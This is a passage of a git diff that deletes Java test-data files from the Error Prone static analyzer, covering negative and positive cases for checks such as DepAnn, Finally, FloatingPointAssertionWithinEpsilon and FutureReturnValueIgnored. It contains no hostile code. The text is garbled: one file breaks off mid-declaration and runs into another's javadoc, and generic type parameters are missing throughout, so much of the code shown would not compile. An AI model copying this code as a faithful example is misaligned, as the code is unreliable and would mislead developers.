language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @deprecated - */ -@Deprecated -public class DepAnnNegativeCase1 { - - /** - * @deprecated - */ - @Deprecated - public DepAnnNegativeCase1() {} - - /** - * @deprecated - */ - @Deprecated int myField; - - /** - * @deprecated - */ - @Deprecated - enum Enum { - VALUE, - } - - /** - * @deprecated - */ - @Deprecated - interface Interface {} - - /** - * @deprecated - */ - @Deprecated - public void deprecatedMethood() {} - - @Deprecated - public void deprecatedMethoodWithoutComment() {} - - /** deprecated */ - public void deprecatedMethodWithMalformedComment() {} - - /** - * @deprecated - */ - @SuppressWarnings("dep-ann") - public void suppressed() {} - - public void newMethod() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DepAnnNegativeCase2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DepAnnNegativeCase2.java deleted file mode 100644 index 0a50c3aca44..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DepAnnNegativeCase2.java +++ /dev/null @@ -1,42 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @deprecated - */ -@Deprecated -public class DepAnnNegativeCase2 { - - abstract class Builder2

{ - class SummaryRowKey

- * {@code
- * finally foo() {
- *   try {
- *     return true;
- *   } finally {
- *     return false;
- *   }
- * }
- * 
- * - * Because the finally block always executes, the first return statement has no effect and the - * method will return false. - * - * @author eaftan@google.com (Eddie Aftandilian) - * @author cushon@google.com (Liam Miller-Cushon) - */ -public class FinallyPositiveCase1 { - - public static void test1() { - while (true) { - try { - } finally { - // BUG: Diagnostic contains: - break; - } - } - } - - public static void test2() { - while (true) { - try { - } finally { - // BUG: Diagnostic contains: - continue; - } - } - } - - public static void test3() { - try { - } finally { - // BUG: Diagnostic contains: - return; - } - } - - public static void test4() throws Exception { - try { - } finally { - // BUG: Diagnostic contains: - throw new Exception(); - } - } - - /** - * break statement jumps to outer labeled while, not inner one. - */ - public void test5() { - label: - while (true) { - try { - } finally { - while (true) { - // BUG: Diagnostic contains: - break label; - } - } - } - } - - /** - * continue statement jumps to outer labeled for, not inner one. - */ - public void test6() { - label: - for (;;) { - try { - } finally { - for (;;) { - // BUG: Diagnostic contains: - continue label; - } - } - } - } - - /** - * continue statement jumps to while, not switch. - */ - public void test7() { - int i = 10; - while (true) { - try { - } finally { - switch (i) { - case 10: - // BUG: Diagnostic contains: - continue; - } - } - } - } - - public void test8() { - try { - } finally { - // BUG: Diagnostic contains: - { { { { { { { { { { return; } } } } } } } } } } - } - } - - // Don't assume that completion statements occur inside methods: - static boolean flag = false; - static { - while (flag) { - try { - } finally { - // BUG: Diagnostic contains: - break; - } - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FinallyPositiveCase2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FinallyPositiveCase2.java deleted file mode 100644 index a8c3e2f76e9..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FinallyPositiveCase2.java +++ /dev/null @@ -1,132 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.io.IOException; - -/** - * @author cushon@google.com (Liam Miller-Cushon) - */ -public class FinallyPositiveCase2 { - public void completeWithReturn(boolean flag) { - try { - - } finally { - // BUG: Diagnostic contains: - return; - } - } - - public void completeWithThrow(boolean flag) throws Exception { - try { - - } finally { - // BUG: Diagnostic contains: - throw new Exception(); - } - } - - public void unreachableThrow(boolean flag) throws Exception { - try { - - } finally { - if (flag) { - // BUG: Diagnostic contains: - throw new Exception(); - } - } - } - - public void nestedBlocks(int i, boolean flag) throws Exception { - try { - - } finally { - switch (i) { - default: - { - while (flag) { - do { - if (flag) { - } else { - // BUG: Diagnostic contains: - throw new Exception(); - } - } while (flag); - } - } - } - } - } - - public void nestedFinally() throws Exception { - try { - - } finally { - try { - } finally { - // BUG: Diagnostic contains: - throw new IOException(); - } - } - } - - public void returnFromTryNestedInFinally() { - try { - } finally { - try { - // BUG: Diagnostic contains: - return; - } finally { - } - } - } - - public void returnFromCatchNestedInFinally() { - try { - } finally { - try { - } catch (Exception e) { - // BUG: Diagnostic contains: - return; - } finally { - } - } - } - - public void throwUncaughtFromNestedTryInFinally() throws Exception { - try { - } finally { - try { - // BUG: Diagnostic contains: - throw new Exception(); - } finally { - } - } - } - - public void throwFromNestedCatchInFinally() throws Exception { - try { - } finally { - try { - } catch (Exception e) { - // BUG: Diagnostic contains: - throw new Exception(); - } finally { - } - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FloatingPointAssertionWithinEpsilonNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FloatingPointAssertionWithinEpsilonNegativeCases.java deleted file mode 100644 index 6ef7f588939..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FloatingPointAssertionWithinEpsilonNegativeCases.java +++ /dev/null @@ -1,62 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertThat; -import static org.junit.Assert.assertEquals; - -/** - * Negative test cases for FloatingPointAssertionWithinEpsilon check. - * - * @author ghm@google.com (Graeme Morgan) - */ -final class FloatingPointAssertionWithinEpsilonNegativeCases { - - private static final float TOLERANCE = 1e-5f; - private static final double TOLERANCE2 = 1e-10f; - private static final float VALUE = 1; - - public void testFloat() { - String test = Boolean.TRUE.toString(); - assertThat(1.0f).isWithin(1e-5f).of(1.0f); - assertThat(1f).isWithin(TOLERANCE).of(VALUE); - assertThat(1f).isWithin(1).of(1); - - assertThat(1f).isNotWithin(0).of(2f); - - assertThat(1f).isNotWithin(.5f).of(2f); - - assertEquals(1f, 1f, TOLERANCE); - } - - public void testDouble() { - String test = Boolean.TRUE.toString(); - assertThat(1.0).isWithin(1e-10).of(1.0); - assertThat(1.0).isWithin(TOLERANCE2).of(1f); - assertThat(1.0).isWithin(TOLERANCE2).of(1); - - assertEquals(1.0, 1.0, TOLERANCE); - } - - public void testZeroCases() { - assertThat(1.0).isWithin(0.0).of(1.0); - assertThat(1f).isWithin(0f).of(1f); - assertThat(1f).isWithin(0).of(1f); - - assertEquals(1f, 1f, 0f); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FloatingPointAssertionWithinEpsilonPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FloatingPointAssertionWithinEpsilonPositiveCases.java deleted file mode 100644 index 4f75aa0f143..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FloatingPointAssertionWithinEpsilonPositiveCases.java +++ /dev/null @@ -1,68 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertThat; -import static org.junit.Assert.assertEquals; - -/** - * Positive test cases for FloatingPointAssertionWithinEpsilon check. - * - * @author ghm@google.com (Graeme Morgan) - */ -final class FloatingPointAssertionWithinEpsilonPositiveCases { - - private static final float TOLERANCE = 1e-10f; - private static final double TOLERANCE2 = 1e-20f; - private static final float VALUE = 1; - - public void testFloat() { - // BUG: Diagnostic contains: 6.0e-08 - assertThat(1.0f).isWithin(1e-20f).of(1.0f); - // BUG: Diagnostic contains: 6.0e-08 - assertThat(1f).isWithin(TOLERANCE).of(VALUE); - // BUG: Diagnostic contains: 1.0e+03 - assertThat(1e10f).isWithin(1).of(1e10f); - - // BUG: Diagnostic contains: 1.2e-07 - assertThat(1f).isNotWithin(1e-10f).of(2); - - // BUG: Diagnostic contains: 6.0e-08 - assertEquals(1f, 1f, TOLERANCE); - // BUG: Diagnostic contains: 6.0e-08 - assertEquals("equal!", 1f, 1f, TOLERANCE); - } - - public void testDouble() { - // BUG: Diagnostic contains: 1.1e-16 - assertThat(1.0).isWithin(1e-20).of(1.0); - // BUG: Diagnostic contains: 1.1e-16 - assertThat(1.0).isWithin(TOLERANCE2).of(1.0f); - // BUG: Diagnostic contains: 1.1e-16 - assertThat(1.0).isWithin(TOLERANCE2).of(1); - // BUG: Diagnostic contains: 1.6e+04 - assertThat(1e20).isWithin(1).of(1e20); - - // BUG: Diagnostic contains: 1.4e-17 - assertThat(0.1).isNotWithin(TOLERANCE2).of(0.1f); - - // BUG: Diagnostic contains: 1.1e-16 - assertEquals(1.0, 1.0, TOLERANCE2); - // BUG: Diagnostic contains: 1.1e-16 - assertEquals("equal!", 1.0, 1.0, TOLERANCE2); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FloatingPointAssertionWithinEpsilonPositiveCases_expected.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FloatingPointAssertionWithinEpsilonPositiveCases_expected.java deleted file mode 100644 index 81f4165f6db..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FloatingPointAssertionWithinEpsilonPositiveCases_expected.java +++ /dev/null @@ -1,51 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertThat; -import static org.junit.Assert.assertEquals; - -/** - * Expected refactoring output for FloatingPointAssertionWithinEpsilon bugpattern. - * - * @author ghm@google.com (Graeme Morgan) - */ -final class FloatingPointAssertionWithinEpsilonPositiveCases { - - private static final float TOLERANCE = 1e-10f; - private static final double TOLERANCE2 = 1e-20f; - private static final float VALUE = 1; - - public void testFloat() { - assertThat(1.0f).isEqualTo(1.0f); - assertThat(1f).isEqualTo(VALUE); - assertThat(1e10f).isEqualTo(1e10f); - assertThat(1f).isNotEqualTo(2f); - assertEquals(1f, 1f, 0); - assertEquals("equal!", 1f, 1f, 0); - } - - public void testDouble() { - assertThat(1.0).isEqualTo(1.0); - assertThat(1.0).isEqualTo(1.0); - assertThat(1.0).isEqualTo(1d); - assertThat(1e20).isEqualTo(1e20); - assertThat(0.1).isNotEqualTo((double) 0.1f); - assertEquals(1.0, 1.0, 0); - assertEquals("equal!", 1.0, 1.0, 0); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FunctionalInterfaceMethodChangedNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FunctionalInterfaceMethodChangedNegativeCases.java deleted file mode 100644 index 9ba86595a1d..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FunctionalInterfaceMethodChangedNegativeCases.java +++ /dev/null @@ -1,84 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.concurrent.Callable; - -public class FunctionalInterfaceMethodChangedNegativeCases { - @FunctionalInterface - interface SuperFI { - void superSam(); - } - - @FunctionalInterface - interface OtherSuperFI { - void otherSuperSam(); - } - - @FunctionalInterface - interface SubFI extends SuperFI { - void subSam(); - - @Override - default void superSam() { - subSam(); - } - } - - @FunctionalInterface - interface MultipleInheritanceSubFI extends SuperFI, OtherSuperFI { - void subSam(); - - @Override - default void superSam() { - subSam(); - } - - @Override - default void otherSuperSam() { - subSam(); - } - } - - @FunctionalInterface - interface ValueReturningSuperFI { - String superSam(); - } - - @FunctionalInterface - interface ValueReturningSubFI extends ValueReturningSuperFI { - String subSam(); - - @Override - default String superSam() { - return subSam(); - } - } - - // Regression test for b/68075767 - @FunctionalInterface - public interface VoidCallable extends Callable { - - void voidCall() throws Exception; - - @Override - default Void call() throws Exception { - voidCall(); - return null; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FunctionalInterfaceMethodChangedPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FunctionalInterfaceMethodChangedPositiveCases.java deleted file mode 100644 index 97468bcd144..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FunctionalInterfaceMethodChangedPositiveCases.java +++ /dev/null @@ -1,107 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -public class FunctionalInterfaceMethodChangedPositiveCases { - @FunctionalInterface - interface SuperFI { - void superSam(); - } - - @FunctionalInterface - interface OtherSuperFI { - void otherSuperSam(); - } - - @FunctionalInterface - interface SubFI extends SuperFI { - void subSam(); - - @Override - // BUG: Diagnostic contains: - default void superSam() { - subSam(); - System.out.println("do something else"); - } - } - - @FunctionalInterface - interface MultipleInheritanceSubFIOneBad extends SuperFI, OtherSuperFI { - void subSam(); - - @Override - default void superSam() { - subSam(); - } - - @Override - // BUG: Diagnostic contains: - default void otherSuperSam() { - subSam(); - System.out.println("do something else"); - } - } - - @FunctionalInterface - interface MultipleInheritanceSubFIBothBad extends SuperFI, OtherSuperFI { - void subSam(); - - @Override - // BUG: Diagnostic contains: - default void superSam() { - superSam(); - System.out.println("do something else"); - } - - @Override - // BUG: Diagnostic contains: - default void otherSuperSam() { - subSam(); - System.out.println("do something else"); - } - } - - @FunctionalInterface - interface ValueReturningSuperFI { - String superSam(); - } - - @FunctionalInterface - interface ValueReturningSubFI extends ValueReturningSuperFI { - String subSam(); - - @Override - // BUG: Diagnostic contains: - default String superSam() { - System.out.println("do something else"); - return subSam(); - } - } - - @FunctionalInterface - public interface ValueReturningSubFI2 extends ValueReturningSuperFI { - - String subSam(); - - @Override - // BUG: Diagnostic contains: - default String superSam() { - subSam(); - return null; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FutureReturnValueIgnoredNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FutureReturnValueIgnoredNegativeCases.java deleted file mode 100644 index 6113d47f193..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FutureReturnValueIgnoredNegativeCases.java +++ /dev/null @@ -1,307 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.util.concurrent.Futures.immediateFuture; -import static com.google.common.util.concurrent.MoreExecutors.directExecutor; -import static org.junit.Assert.assertThrows; -import static org.mockito.Mockito.doAnswer; - -import com.google.common.base.Function; -import com.google.common.base.Functions; -import com.google.common.base.Preconditions; -import com.google.common.base.Predicate; -import com.google.common.base.Supplier; -import com.google.common.base.Ticker; -import com.google.common.reflect.AbstractInvocationHandler; -import com.google.common.util.concurrent.AbstractFuture; -import com.google.common.util.concurrent.AsyncFunction; -import com.google.common.util.concurrent.Futures; -import com.google.common.util.concurrent.ListenableFuture; -import com.google.errorprone.annotations.CanIgnoreReturnValue; -import io.netty.channel.ChannelFuture; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.util.Arrays; -import java.util.HashMap; -import java.util.Map; -import java.util.concurrent.Callable; -import java.util.concurrent.Executor; -import java.util.concurrent.ExecutorCompletionService; -import java.util.concurrent.ForkJoinTask; -import java.util.concurrent.Future; -import java.util.concurrent.FutureTask; -import java.util.concurrent.RecursiveAction; -import java.util.concurrent.ScheduledExecutorService; -import org.junit.function.ThrowingRunnable; -import org.mockito.invocation.InvocationOnMock; -import org.mockito.stubbing.Answer; - -/** */ -public class FutureReturnValueIgnoredNegativeCases { - - public FutureReturnValueIgnoredNegativeCases() {} - - static ListenableFuture getFuture() { - return immediateFuture(null); - } - - interface CanIgnoreMethod { - @CanIgnoreReturnValue - Future getFuture(); - } - - public static class CanIgnoreImpl implements CanIgnoreMethod { - @Override - public Future getFuture() { - return null; - } - } - - static void callIgnoredInterfaceMethod() { - new CanIgnoreImpl().getFuture(); - } - - @CanIgnoreReturnValue - static ListenableFuture getFutureIgnore() { - return immediateFuture(null); - } - - static void putInMap() { - Map> map = new HashMap<>(); - map.put(new Object(), immediateFuture(null)); - Map map2 = new HashMap(); - map2.put(new Object(), immediateFuture(null)); - } - - static void preconditions() - throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Preconditions.checkNotNull(getFuture()); - Preconditions.checkNotNull(new Object()); - FutureReturnValueIgnoredNegativeCases.class.getDeclaredMethod("preconditions").invoke(null); - } - - static void checkIgnore() { - getFutureIgnore(); - } - - void ignoreForkJoinTaskFork(ForkJoinTask t) { - t.fork(); - } - - void ignoreForkJoinTaskFork_subclass(RecursiveAction t) { - t.fork(); - } - - void ignoreExecutorCompletionServiceSubmit(ExecutorCompletionService s) { - s.submit(() -> null); - } - - void ignoreChannelFutureAddListener(ChannelFuture cf) { - cf.addListener((ChannelFuture f) -> {}); - } - - void ignoreChannelFutureAddListeners(ChannelFuture cf) { - cf.addListeners((ChannelFuture f) -> {}, (ChannelFuture f) -> {}); - } - - ListenableFuture ignoreVarArgs( - Callable combiner, Executor executor, ListenableFuture... futures) { - return combine(combiner, executor, Arrays.asList(futures)); - } - - public static ListenableFuture combine( - final Callable combiner, - Executor executor, - Iterable> futures) { - return null; - } - - private static final class TypedClass { - ListenableFuture ignoreReturnTypeSetByInputFuture(T input) { - return returnsInputType(logAsyncInternal(input), 0); - } - - protected ListenableFuture logAsyncInternal(T record) { - return null; - } - - ListenableFuture returnsInputType(ListenableFuture future, final int n) { - return null; - } - } - - public static class RetryingFuture extends AbstractFuture { - - /** - * Enables the user to receive notifications about state changes of a retrying future, and use - * them e.g. for logging. - */ - public interface Interceptor {} - - /** Creates a builder for {@link RetryingFuture} instances. */ - public static Builder builder() { - return new Builder<>(); - } - - /** A builder for {@link RetryingFuture} instances. */ - public static final class Builder { - - private Builder() {} - - /** Sets the {@link Executor} in which all tries and retries are performed. */ - @CanIgnoreReturnValue - public Builder setExecutor(Executor executor) { - return this; - } - - /** - * Sets the {@link ScheduledExecutorService} used for scheduling retries after delay. It will - * also be used for tries and retries if {@link #setExecutor(Executor)} is not called. - */ - @CanIgnoreReturnValue - public Builder setScheduledExecutorService( - ScheduledExecutorService scheduledExecutorService) { - return this; - } - - public Builder setInterceptor(Interceptor interceptor) { - // Safely limiting the kinds of RetryingFutures this builder can produce, - // based on the type of the interceptor. - @SuppressWarnings("unchecked") - Builder me = (Builder) this; - return me; - } - - public Builder setTicker(Ticker ticker) { - return this; - } - - public RetryingFuture build( - Supplier> futureSupplier, - Predicate shouldContinue) { - return new RetryingFuture( - futureSupplier, - null, - shouldContinue, - null, - // We need to maintain Java 7 compatibility - null, - null, - null); - } - - public RetryingFuture build( - Supplier> futureSupplier, - Object strategy, - Predicate shouldContinue) { - return new RetryingFuture( - futureSupplier, - strategy, - shouldContinue, - null, - // We need to maintain Java 7 compatibility - null, - null, - null); - } - } - - RetryingFuture( - Supplier> futureSupplier, - Object strategy, - Predicate shouldContinue, - Executor executor, - ScheduledExecutorService scheduledExecutorService, - Ticker ticker, - final Interceptor interceptor) {} - - public static RetryingFuture retryingFuture( - Supplier> futureSupplier, - Object strategy, - Predicate shouldContinue, - Executor executor, - Interceptor interceptor) { - return builder() - .setInterceptor(interceptor) - .setExecutor(executor) - .build(futureSupplier, strategy, shouldContinue); - } - } - - private static class TypedObject { - public ListenableFuture transformAndClose( - Function function, Executor executor) { - return null; - } - - public ListenableFuture close() { - return transformAndClose(Functions.identity(), directExecutor()); - } - } - - private static void mocking() { - doAnswer(invocation -> immediateFuture(null)).when(null); - doAnswer( - invocation -> { - return immediateFuture(null); - }) - .when(null); - doAnswer( - new Answer() { - @Override - public Object answer(InvocationOnMock mock) { - return immediateFuture(null); - } - }) - .when(null); - } - - private static void throwing() { - assertThrows(RuntimeException.class, () -> immediateFuture(null)); - assertThrows( - RuntimeException.class, - () -> { - immediateFuture(null); - }); - assertThrows( - RuntimeException.class, - new ThrowingRunnable() { - @Override - public void run() throws Throwable { - immediateFuture(null); - } - }); - } - - private static AsyncFunction provideAsyncFunction() { - return Futures::immediateFuture; - } - - private static Runnable provideNonFutureInterface() { - return new FutureTask(null); - } - - private static void invocation() { - new AbstractInvocationHandler() { - @Override - protected Object handleInvocation(Object o, Method method, Object[] params) { - return immediateFuture(null); - } - }; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FutureReturnValueIgnoredPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FutureReturnValueIgnoredPositiveCases.java deleted file mode 100644 index d6ffe165228..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FutureReturnValueIgnoredPositiveCases.java +++ /dev/null @@ -1,219 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.util.concurrent.Futures.immediateFuture; - -import com.google.common.base.Function; -import com.google.common.util.concurrent.Futures; -import com.google.common.util.concurrent.ListenableFuture; -import java.util.concurrent.Executor; -import java.util.concurrent.Future; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class FutureReturnValueIgnoredPositiveCases { - - IntValue intValue = new IntValue(0); - - private static Future increment(int bar) { - return null; - } - - public T returnFutureType(T input) { - return input; - } - - public void testFutureGenerics() { - // BUG: Diagnostic contains: Future must be checked - returnFutureType(Futures.immediateCancelledFuture()); - } - - public void foo() { - int i = 1; - // BUG: Diagnostic contains: Future must be checked - increment(i); - System.out.println(i); - } - - public void bar() { - // BUG: Diagnostic contains: Future must be checked - this.intValue.increment(); - } - - public void testIntValue() { - IntValue value = new IntValue(10); - // BUG: Diagnostic contains: Future must be checked - value.increment(); - } - - public void testFunction() { - new Function>() { - @Override - public ListenableFuture apply(Object input) { - return immediateFuture(null); - } - // BUG: Diagnostic contains: Future must be checked - }.apply(null); - } - - private class IntValue { - - final int i; - - public IntValue(int i) { - this.i = i; - } - - public ListenableFuture increment() { - return immediateFuture(new IntValue(i + 1)); - } - - public void increment2() { - // BUG: Diagnostic contains: Future must be checked - this.increment(); - } - - public void increment3() { - // BUG: Diagnostic contains: Future must be checked - increment(); - } - } - - static ListenableFuture transform( - ListenableFuture input, Function function, Executor executor) { - return null; - } - - static ListenableFuture futureReturningMethod() { - return null; - } - - static ListenableFuture futureReturningMethod(Object unused) { - return null; - } - - static void consumesFuture(Future future) {} - - static void testIgnoredFuture() throws Exception { - ListenableFuture input = null; - // BUG: Diagnostic contains: nested type - Future output = transform(input, foo -> futureReturningMethod(), runnable -> runnable.run()); - - Future otherOutput = - // BUG: Diagnostic contains: nested type - transform( - input, - new Function>() { - @Override - public ListenableFuture apply(String string) { - return futureReturningMethod(); - } - }, - runnable -> runnable.run()); - - // BUG: Diagnostic contains: nested type - transform( - input, - new Function>() { - @Override - public ListenableFuture apply(String string) { - return futureReturningMethod(); - } - }, - runnable -> runnable.run()) - .get(); - - consumesFuture( - // BUG: Diagnostic contains: nested type - transform( - input, - new Function>() { - @Override - public ListenableFuture apply(String string) { - System.out.println("First generics"); - return futureReturningMethod(); - } - }, - runnable -> runnable.run())); - - consumesFuture( - transform( - input, - new Function() { - @Override - public Object apply(String string) { - // BUG: Diagnostic contains: returned future may be ignored - return futureReturningMethod(); - } - }, - runnable -> runnable.run())); - consumesFuture( - transform( - input, - new Function() { - @Override - public Object apply(String string) { - Future result = futureReturningMethod(); - // BUG: Diagnostic contains: returned future may be ignored - return result; - } - }, - runnable -> runnable.run())); - - consumesFuture( - // BUG: Diagnostic contains: nested type - transform(input, foo -> futureReturningMethod(), runnable -> runnable.run())); - - consumesFuture( - // BUG: Diagnostic contains: nested type - transform( - input, - foo -> { - return futureReturningMethod(); - }, - runnable -> runnable.run())); - - consumesFuture( - // BUG: Diagnostic contains: nested type - transform( - input, - FutureReturnValueIgnoredPositiveCases::futureReturningMethod, - runnable -> runnable.run())); - - ListenableFuture done = - transform( - // BUG: Diagnostic contains: nested type - transform( - input, - new Function>() { - @Override - public ListenableFuture apply(String string) { - return futureReturningMethod(); - } - }, - runnable -> runnable.run()), - new Function() { - @Override - public Object apply(Object string) { - return new Object(); - } - }, - runnable -> runnable.run()); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FuturesGetCheckedIllegalExceptionTypeNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FuturesGetCheckedIllegalExceptionTypeNegativeCases.java deleted file mode 100644 index 66ccbe1cab1..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FuturesGetCheckedIllegalExceptionTypeNegativeCases.java +++ /dev/null @@ -1,58 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.util.concurrent.Futures.getChecked; -import static java.util.concurrent.TimeUnit.SECONDS; - -import java.io.IOException; -import java.util.concurrent.Future; - -/** Negative cases for {@link FuturesGetCheckedIllegalExceptionType}. */ -public class FuturesGetCheckedIllegalExceptionTypeNegativeCases { - void runtime(Future future, Class c1, Class c2) - throws Exception { - getChecked(future, Exception.class); - getChecked(future, Exception.class, 0, SECONDS); - getChecked(future, IOException.class); - // These might or might not be RuntimeExceptions. We can't prove it one way or the other. - getChecked(future, c1); - getChecked(future, c2); - getChecked(future, null); - } - - void constructor( - Future future, Class c1, Class c2) - throws Exception { - getChecked(future, StaticNestedWithExplicitConstructorException.class); - getChecked(future, StaticNestedWithImplicitConstructorException.class); - /* - * These might be ProtectedConstructorException, but they might be a subtype with a public - * constructor. - */ - getChecked(future, c1); - getChecked(future, c2); - } - - public static class StaticNestedWithExplicitConstructorException extends Exception { - public StaticNestedWithExplicitConstructorException() {} - } - - public static class StaticNestedWithImplicitConstructorException extends Exception {} - - public static class ProtectedConstructorException extends Exception { - protected ProtectedConstructorException() {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FuturesGetCheckedIllegalExceptionTypePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FuturesGetCheckedIllegalExceptionTypePositiveCases.java deleted file mode 100644 index 3a8cd333654..00000000000 --- 